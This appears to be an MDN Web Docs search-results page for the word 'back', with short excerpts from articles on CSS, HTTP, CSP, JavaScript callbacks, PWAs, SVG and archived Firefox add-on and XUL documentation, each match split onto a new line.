background-color: rgba(255, 255, 255, .5); border:1px solid black; padding: 10px; } exclude external floats in the following example, we are using display:flow-ro...
... html <section> <div class="float">try to resize this outer float</div> <div class="box"><p>normal</p></div> </section> <section> <div class="float">try to resize this outer float</div> <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div> </section> css section { height:150px; } .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] {
background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; overflow: hidden; /* required by resize:both */ resize: both; margin-right:25px; width: 200px; height: 100px;
background-color: rgba(255, 255, 255, .75); border: 1px solid bla...
... margin collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue {
background: blue; } .red-outer { overflow: hidden;
background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
<input type="file"> - HTML: Hypertext Markup Language
if the requested facing mode isn't available, the user agent may fall
back to its preferred default mode.
... because of this, you should make sure that the accept attribute is
backed up by appropriate server-side validation.
...m-data"> <div> <label for="image_uploads">choose images to upload (png, jpg)</label> <input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple> </div> <div class="preview"> <p>no files currently selected for upload</p> </div> <div> <button>submit</button> </div> </form> html { font-family: sans-serif; } form { width: 580px;
background: #ccc; margin: 0 auto; padding: 20px; border: 1px solid black; } form ol { padding-left: 0; } form li, div > p {
background: #eee; display: flex; justify-content: space-between; margin-bottom: 10px; list-style-type: none; border: 1px solid black; } form img { height: 64px; order: 1; } form p { line-height: 32px; padding-left: 10px; } form label, form button ...
...{
background-color: #7f9ccb; padding: 5px 10px; border-radius: 5px; border: 1px ridge black; font-size: 0.8rem; height: auto; } form label:hover, form button:hover {
background-color: #2d5ba3; color: white; } form label:active, form button:active {
background-color: #0d3f8f; color: white; } this is similar to what we've seen before — nothing special to comment on.
Content negotiation - HTTP
the 300 (multiple choices) or 406 (not acceptable) http response codes by the server (agent-driven negotiation or reactive negotiation), that are used as fall
back mechanisms.
... even if server-driven content negotiation is the most common way to agree on a specific representation of a resource, it has several draw
backs: the server doesn't have total knowledge of the browser.
...in this negotiation, when facing an ambiguous request, the server sends
back a page containing links to the available alternative resources.
...besides falling
back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection.
CSP: style-src - HTTP
csp version 1 directive type fetch directive default-src fall
back yes.
... examples violation cases given this csp header: content-security-policy: style-src https://example.com/ the following stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style {
background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style attributes are also blocked: <div style="display:none">foo</div> as well as styles that are applied in javascript by setting the style attribute directly, or...
... content-security-policy: style-src 'unsafe-inline'; the above content security policy will allow inline styles like the <style> element, and the style attribute on any element: <style> #inline-style {
background: red; } </style> <div style="display:none">foo</div> you can use a nonce-source to only allow specific inline style blocks: content-security-policy: style-src 'nonce-2726c7f26c' you will have to set the same nonce on the <style> element: <style nonce="2726c7f26c"> #inline-style {
background: red; } </style> alternatively, you can create hashes from your inline styles.
... <style>#inline-style {
background: red; }</style> unsafe style expressions the 'unsafe-eval' source expression controls several style methods that create style declarations from strings.
HTTP range requests - HTTP
the if-range http request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server sends
back a 206 partial content answer with the appropriate body.
... if the condition is not fulfilled, the full resource is sent
back, with a 200 ok status.
... if-range: wed, 21 oct 2015 07:28:00 gmt partial request responses there are three relevant statuses, when working with range requests: in case of a successful range request, the 206 partial content status is sent
back from a server.
... in case of no support of range requests, the 200 ok status is sent
back from a server.
Array.prototype.flatMap() - JavaScript
syntax var new_array = arr.flatmap(function call
back(currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters call
back function that produces an element of the new array, taking three arguments: currentvalue the current element being processed in the array.
... thisargoptional value to use as this when executing call
back.
... return value a new array with each element being the result of the call
back function and flattened to a depth of 1.
... description see array.prototype.map() for a detailed description of the call
back function.
Promise() constructor - JavaScript
the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asynchronous and provides a call
back.
... the call
back is defined within the executor code.
... the call
back terminates by invoking resolutionfunc.
...the value is passed
back to the tethered promiseobj.
String - JavaScript
string literals can be specified using single or double quotes, which are treated identically, or using the
backtick character `.
... console.log(eval(s2.valueof())) // returns the number 4 escape notation special characters can be encoded using escape notation: code output \xxx (where xxx is 1–3 octal digits; range of 0–377) iso-8859-1 character / unicode code point between u+0000 and u+00ff \' single quote \" double quote \\
backslash \n new line \r carriage return \v vertical tab \t tab \b
backspace \f form feed \uxxxx (where xxxx is 4 hex digits; range of 0x0000–0xffff) utf-16 code unit / unicode code point between u+0000 and u+ffff \u{x} ...
... method 1 you can use the + operator to append multiple strings together, like this: let longstring = "this is a very long string which needs " + "to wrap across multiple lines because " + "otherwise my code is unreadable." method 2 you can use the
backslash character (\) at the end of each line to indicate that the string will continue on the next line.
... make sure there is no space or any other character after the
backslash (except for a line break), or as an indent; otherwise it will not work.
Template literals (Template strings) - JavaScript
syntax `string text` `string text line 1 string text line 2` `string text ${expression} string text` tag`string text ${expression} string text` description template literals are enclosed by the
backtick (` `) (grave accent) character instead of double or single quotes.
...the expressions in the placeholders and the text between the
backticks (` `) get passed to a function.
... to escape a
backtick in a template literal, put a
backslash (\) before the
backtick.
...within a
backticked template, it is simple to allow inner
backticks simply by using them inside a placeholder ${ } within the template.
How to make PWAs installable - Progressive web apps (PWAs)
it contains useful information, such as the app’s title, paths to different-sized icons that can be used to represent the app on an os (such as an icon on the home screen, an entry in the start menu, or an icon on the desktop), and a
background color to use in loading or splash screens.
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "
background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
...
background_color: a color used as the app's default
background, used during install and on the splash screen.
... the icon and the theme and
background colors are used to create this screen.
stroke-linejoin - SVG: Scalable Vector Graphics
effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /> <!-- upper right path: effect of the "bevel" value --> <path d="m13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- bottom left path: effect of the "miter-clip" value with fall
back to "miter" if not supported.
... --> <path d="m3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter-clip" /> <!-- bottom right path: effect of the "arcs" value with fall
back to "miter" if not supported.
... note: if the stroke-miterlimit is exceeded, the line join falls
back to bevel.
...ffect of the "miter" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- effect of the "miter" value on a sharp angle where de default miter limit is exceeded --> <path d="m7,5 l0.75,-3 l0.75,3" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- the following red dotted line show where the miter value falls
back to the bevel value --> <path d="m0,0 h10" stroke="red" stroke-dasharray="0.05" stroke-width="0.025"/> <!-- the following pink lines highlight the position of the path for each stroke --> <g> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" c...
Using templates and slots - Web Components
so for example: <template id="my-paragraph"> <style> p { color: white;
background-color: #666; padding: 5px; } </style> <p>my paragraph</p> </template> now we can use it by just adding it to our html document: <my-paragraph></my-paragraph> note: templates are well-supported in browsers; the shadow dom api is supported by default in firefox (version 63 onwards), chrome, opera, safari, and edge (starting with version 79).
... so, if we want to add a slot into our trivial example, we could update our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or if the browser doesn't support slots, <my-paragraph> just contains the fall
back content "my default text".
...template with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document fragment containing some named slots: <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span {
background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc">...
...color: #217ac0; font-size: 110% } dt { font-family: consolas, "liberation mono", courier } dd { margin-left: 16px } </style> </head> <body> <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span {
background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>...
panel - Archive of obsolete content
a panel's content is loaded as soon as it is created, before the panel is shown, and the content remains loaded when a panel is hidden, so it is possible to keep a panel around in the
background, updating its content as appropriate in preparation for the next time it is shown.
...self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png to learn much more about content scripts, see the working with content scripts guide.
...addon.port.on("show", function onshow() { textarea.focus(); }); finally, the html file now references "get-text.js" inside a <script> tag: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> <script src="get-text.js"></script> </body> </html> styling panel content the panel's default style is different for each operating system: this helps to ensure that the panel's style is consistent with the dialogs displayed by firefox and other applications, but means ...
places/favicon - Archive of obsolete content
globals functions getfavicon(object, call
back) takes an object that represents a page's url and returns a promise that resolves with the favicon url for that page.
... example getfavicon("http://mozilla.org").then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); // tab example require("sdk/tabs").open({ url: "http://mozilla.org", onready: function (tab) { getfavicon(tab).then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); } }); // an optional call
back can be provided to handle // the promise's resolve and reject states getfavicon("http://mozilla.org", function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); parameters object : string|tab a value that represents the url of the page to get the favicon url from.
... call
back : function an optional call
back function that will be used in both resolve and reject cases.
system/unload - Archive of obsolete content
experimental register call
backs that are called when a module is unloaded.
... when(call
back) registers a function to be called when the module is unloaded.
... parameters call
back : function a function that will be called when the module is unloaded.
Creating Reusable Modules - Archive of obsolete content
einputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data
back var hash = ch.finish(false); // convert the binary hash data to a hex string.
...einputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data
back var hash = ch.finish(false); // convert the binary hash data to a hex string.
...einputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data
back var hash = ch.finish(false); // convert the binary hash data to a hex string.
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get
back a tab object which you can examine.
... to do this, pass a call
back function into open().
... the call
back is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab.
Customizing the download progress bar - Archive of obsolete content
the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important;
background-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important;
background-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx
background-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note:...
...we are specifying the height of the progress meter on windows and a
background image on mac.
... the
background image (the first one in the file) should be a segment of whatever you want the unfilled portion of the progress bar to look like.
File I/O - Archive of obsolete content
createinstance(components.interfaces.nsiscriptableunicodeconverter); converter.charset = "utf-8"; var istream = converter.converttoinputstream(data); // the last argument (the call
back) is optional.
...the call
back argument is optional.
... function streamtofile(stream, file, call
back) { var output = fileutils.opensafefileoutputstream(file) netutil.asynccopy(stream, output, call
back); } synchronous checking the existence of a file // |file| is nsifile if (file.exists()) { // ...
Preferences - Archive of obsolete content
break; case "pref2": // extensions.myextension.pref2 was changed break; } } } myprefobserver.register(); and next, here is a more evolved version of the previous code better fit for code reuse both within a project and across projects (for example, using javascript code modules): /** * @constructor * * @param {string} branch_name * @param {function} call
back must have the following arguments: * branch, pref_leaf_name */ function preflistener(branch_name, call
back) { // keeping a reference to the observed preference branch or it will get // garbage collected.
... var prefservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); this._branch = prefservice.getbranch(branch_name); this._branch.queryinterface(components.interfaces.nsiprefbranch2); this._call
back = call
back; } preflistener.prototype.observe = function(subject, topic, data) { if (topic == 'nspref:changed') this._call
back(this._branch, data); }; /** * @param {boolean=} trigger if true triggers the registered function * on registration, that is, when this method is called.
... foreach(function (pref_leaf_name) { that._call
back(that._branch, pref_leaf_name); }); } }; preflistener.prototype.unregister = function() { if (this._branch) this._branch.removeobserver('', this); }; var mylistener = new preflistener( "extensions.myextension.", function(branch, name) { switch (name) { case "pref1": // extensions.myextension.pref1 was changed break; case "pref2": // extensions.myextension.pref2 was changed break; } } ); mylistener.register(true); note: you need to keep a reference to the preference branch you are obs...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
when giving feed
back on a project if you want to contribute modified source code to an existing project, you need to familiarize yourself with that project’s procedure for submitting modified code.
... but the team may not permit just anyone to contribute additional code whenever they want—if they did, then viruses and
back-doors could wind up being distributed in the official version.
... so oss gives you the freedom to duplicate, distribute, and modify source code, but if you want to contribute those modifications
back to the core project, the project’s acceptance is an entirely different matter.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
parse element namespace prefix (if none exists, default to defaultnamespace), and create element var elemns = namespace(elemnameorarray); var elem = doc.createelementns(elemns.namespace || jsontodom.defaultnamespace, elemns.shortname); // set element's attributes and/or call
back functions (eg.
...the demo of this is seen at jsfiddle :: jsontodom example var json = ['html:div', {style:'
background-color:springgreen'}, ['html:form', {id:'myfirstform'}, ['html:input', {type:'text', value:'my field'}], ['html:button', {id:'mybtn'}, 'button text content'] ], ['html:form', {id:'mysecondform'}, ['html:input', {type:'text', value:'my field for second form'}], ['html:div', {}, 'sub div with textcontent and siblings',...
...under no circumstances should code resembling 'call
back("' + str + '")' appear anywhere in your add-on.
Security best practices in extensions - Archive of obsolete content
note that objects passed into the sandbox are restricted, but objects that come
back out from it are not.
...for pages coming from the server, you need to take steps to ensure that the content can not call
back into the web browser and run malicious code.
...give the element a type="content" attribute, which essentially sandboxes the code there and blocks call
back rights into chrome.
Adding preferences to an extension - Archive of obsolete content
the last thing the startup() method does is to call the window.setinterval() dom method to set up a call
back that will automatically run our refreshinformation() method every 10 minutes.
... refreshinformation: function() { // because we may be called as a call
back, we can't rely on // "this" referring to the right object, so we need to reference // it by its full name var symbol = stockwatcher.tickersymbol; var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var samplepanel = document.getelementbyid('stockwatcher2'); var output = httprequest.res...
...we do this because since refreshinformation() is usually called as a call
back from setinterval.
Working with BFCache - Archive of obsolete content
a: bfcache stands for
back-forward cache.
... or: what happens when they hit the '
back' button?
...when the user hits the '
back' button, either the window in bfcache is thawed or a new inner window is created, depending on whether there's a window in the bfcache.
Drag and Drop - Archive of obsolete content
ondragstart an alias for ondraggesture; this is the html 5 spec name for the event and may be used in html or xul; however, for
backward compatibility with older versions of firefox, you may wish to continue using ondraggesture in xul.
... region a region used for feed
back indication.
...this can be used to provide extra feed
back to the user.
importUserCertificates - Archive of obsolete content
resultstring = crypto.importusercertificates("nicknamestring","certstring",force
backup); argument description "nicknamestring" this is the nickname that will be used to describe the certificate in the client's certificate management ui.
... force
backup this is a boolean argument.
... it allows the ca or ra to indicate to the client whether to force the user to
back up a newly issued certificate (pkcs #12).
Menu - Archive of obsolete content
xulid string the id of the menuitem's
backing xul element, exposed for the benefit of advanced developers.
...context objects some call
backs passed into the api are called with a context object, such as contextmenuset.beforeshow().
...(assume we've defined a getrecenttweets(), which invokes a call
back with an array of strings.) when the menu is shown, it displays a "loading..." item.
Moving, Copying and Deleting Files - Archive of obsolete content
you might use this to make a
backup of a directory of files for instance.
... var file = io.newfile("home", "importantdata"); var destination = io.newfile("desktop", ""); destination.append("
backups"); file.copyto(destination, ""); this example copies an item called 'importantdata' into a directory called '
backups' within the desktop directory.
... nsifile.append() is used to retrieve the '
backups' subdirectory.
List of commands - Archive of obsolete content
dprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletechar
backward cmd_deletecharforward cmd_deleteword
backward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endlin...
... http://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:
back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder ...
..._openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handle
backspace cmd_handleshift
backspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_tex...
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadin
background, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs.
... if loadin
background is true, the tabs are loaded in the
background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs.
... the properties of params are following: boolean in
background boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
rewind - Archive of obsolete content
« xul reference home rewind() return type: no return value call this method to go
back a page.
... it is equivalent to pressing the
back button.
...the code in the onwizard
back attribute is called before the page is changed.
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean this property is set to true if the user can press the
back button to go to the previous page.
...set this property to true to indicate that the user can go
back a page.
...this has the effect of enabling or disabling the
back button.
Result Generation - Archive of obsolete content
first, however, some
background.
...you could have arcs pointing elsewhere--for example, node d could have an arc pointing
back to a.
...or, you could start at d and follow two arrows
back (and only following arrows
backwards).
Creating a Skin - Archive of obsolete content
window > box {
background-color: #0088cc; } menubar,menupopup,toolbar,tabpanels {
background-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid #666666; } caption {
background-color: lightblue; } the inner box of the window (which actually surrounds all of the window content) has been changed to have a medium blue...
... the
background color of the caption has also been changed to match the
background.
... css: .findfilesbox {
background-color: #0088cc; } xul: <vbox class="findfilesbox" orient="vertical" flex="100%"> <toolbox> rounding on the tabs next, let's modify the tabs.
Creating a Wizard - Archive of obsolete content
the user can navigate between the pages of the wizard with the
back and next buttons.
... there are also related onwizard
back, onwizardnext and onwizardcancel attributes, which are called when the
back, next and cancel buttons are pressed respectively.
... a similar process occurs for the
back button.
Skinning XUL Files by Hand - Archive of obsolete content
in a cascading stylesheet, the style definitions have the following basic form: element { style-attribute1: value; style-attribute2: value; style-attribute3: value; } for example, the following definition -- were it not in serious conflict with the many menu style definitions in the global skin -- makes all xul menus appear with a one pixel border, a light blue
background, and 10 point fonts: menu { border: 1px;
background-color: lightblue; font-size: 10pt; } in addition to these basic element style rules, css also provides for the application of style information to classes of elements, and element ids.
... here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar {
background-image: url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar {
background-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above.
... add the following lines to the file: @import url(chrome://global/skin/); box#bbox {
background-color: lightgrey; } button#rd {
background-color: red; color: white; } save it in the same directory as your xul file.
arrowscrollbox - Archive of obsolete content
if not set explicitly, it will fall
back to the smoothscroll attribute and then to the toolkit.scrollbox.smoothscroll preference.
...use a positive value as the lines argument to scroll forward that many lines, or a negative value to scroll
backward that many lines.
...use a positive value as the pixels argument to scroll forward that many pixels, or a negative value to scroll
backward that many pixels.
notificationbox - Archive of obsolete content
de, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendnotification( label , value , image , priority , buttons, eventcall
back ) return type: element create a new notification and display it.
... eventcall
back optional - a javascript function to call to notify you of interesting things that happen with the notification box.
...each description is an object with the following properties: accesskey - the accesskey to appear on the button call
back - function to be called when the button is activated.
prefwindow - Archive of obsolete content
currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="saveoptions" label="
backups"> <preferences> <preference id="pref-
backup" name="myapp.my
backups" type="bool"/> <preference id="pref-
backupduration" name="myapp.my
backups.duration" type="int"/> </preferences> <checkbox label="automatically save
backups" preference="pref-
backup"/> <textbox label="duration:" preference="pref-
backupduration"/> </prefpane> </prefwindow> attributes activeti...
...tlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
promptBox - Archive of obsolete content
method overview nsidomelement appendprompt(args, onclosecall
back); void removeprompt(nsidomelement aprompt); nodelist listprompts(nsidomelement aprompt); methods appendprompt() creates a new prompt, adding it to the tab.
... nsidomelement appendprompt( args, onclosecall
back ); parameters args arguments for the prompt.
... onclosecall
back the call
back routine to be called when the prompt is closed.
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="
background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="
background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer...
... dir="bottom" height="2" style="
background-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="
background-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor: se-resize;"/> </vbox> </hbox> </window> resizing an element <stack style="border: 1px solid black;"> <button id="button" label="resizable" left="18" top="18" right="18" bottom="18"/> <resizer dir="topleft" style="
background: black; -moz-appearance: none;" element="button" left="0" top="0" width="16" height="16"/> <resizer dir="topright" style="
background: black; -moz-appearance: none;" element="button" right="0" top="0" width=...
..."16" height="16"/> <resizer dir="bottomleft" style="
background: black; -moz-appearance: none;" element="button" left="0" bottom="0" width="16" height="16"/> <resizer dir="bottomright" style="
background: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized.
Archived Mozilla and build documentation - Archive of obsolete content
as a result, mozilla is not fully
backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later.
...in this article, i will describe mozilla's quirks mode, which provides strong
backwards html compatibility with internet explorer and other legacy browsers.
...tracemonkey) use nanojit as their
back end.
Format - Archive of obsolete content
firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feed
back requested rachel werner (mozilla corp marketing intern) requested feed
back on a proposed user survey.
... the survey questions and feed
back are included in the thread.
... deadline for feed
back has passed.
2006-07-17 - Archive of obsolete content
firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feed
back requested rachel werner (mozilla corp marketing intern) requested feed
back on a proposed user survey.
... the survey questions and feed
back are included in the thread.
... deadline for feed
back has passed.
2006-09-29 - Archive of obsolete content
zach lipton is working to get us
back in working order.
... litmus should be
back up and running soon.
...he is looking for triagers to try it and give him feed
back.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
example html content <p id="defaultthemes"> this paragraph should have a green
background with luna/royale/zune/aero windows themes and red with other themes.
... </p> <p id="nondefaultthemes"> this paragraph should have a green
background with windows classic or third-party themes and red with other themes.
... </p> <p id="notsupported">theme detection is not supported.</p> css content #defaultthemes, #nondefaultthemes {
background-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) {
background-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) {
background-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
Array.observe() - Archive of obsolete content
syntax array.observe(arr, call
back) parameters arr the array to be observed.
... call
back the function called each time changes are made, with the following argument: changes an array of objects each representing a change.
... description the call
back function is called each time a change is made to arr, with an array of all changes in the order in which they occurred.
Windows Media in Netscape - Archive of obsolete content
netscape 7.1 works with both windows media player 6.4 and with windows media players 7 and 9, but they have unique classids: windows media player 6.4 has this classid:22d6f312-b0f6-11d0-94ab-0080c74c7e95 windows media players 7 and 9 have this classid: 6bf52a52-394a-11d3-b153-00c04f79faa6 windows media player 6.4 and windows media player 7 and up are not
backwards compatible in terms of apis (and thus have different classids).
...(without an object element) and scripting it: try { var player = null; if (window.activexobject) { player = new activexobject("wmplayer.ocx.7"); } else if(window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { ; } if (player) { player.currentplaylist = player.mediacollection.getbyname('preludesteel'); player.controls.play(); } call
backs from within windows media player to web pages: script for event netscape 7.1 supports ie's <script for="activexcontrol" event="activexcontrolevent"> script elements.
... the embedded-audio-video.html shows both scripting the control and call
backs.
Index - Game development
19 building up a basic demo with playcanvas editor 3d, animation, beginner, canvas, games, lightning, online, playcanvas, tutorial, webgl, camera, editor, rendering now you can check the playcanvas engine article if you haven't seen it yet, go
back to the building up a basic demo with playcanvas page, or go
back a level higher to the main 3d games on the web page.
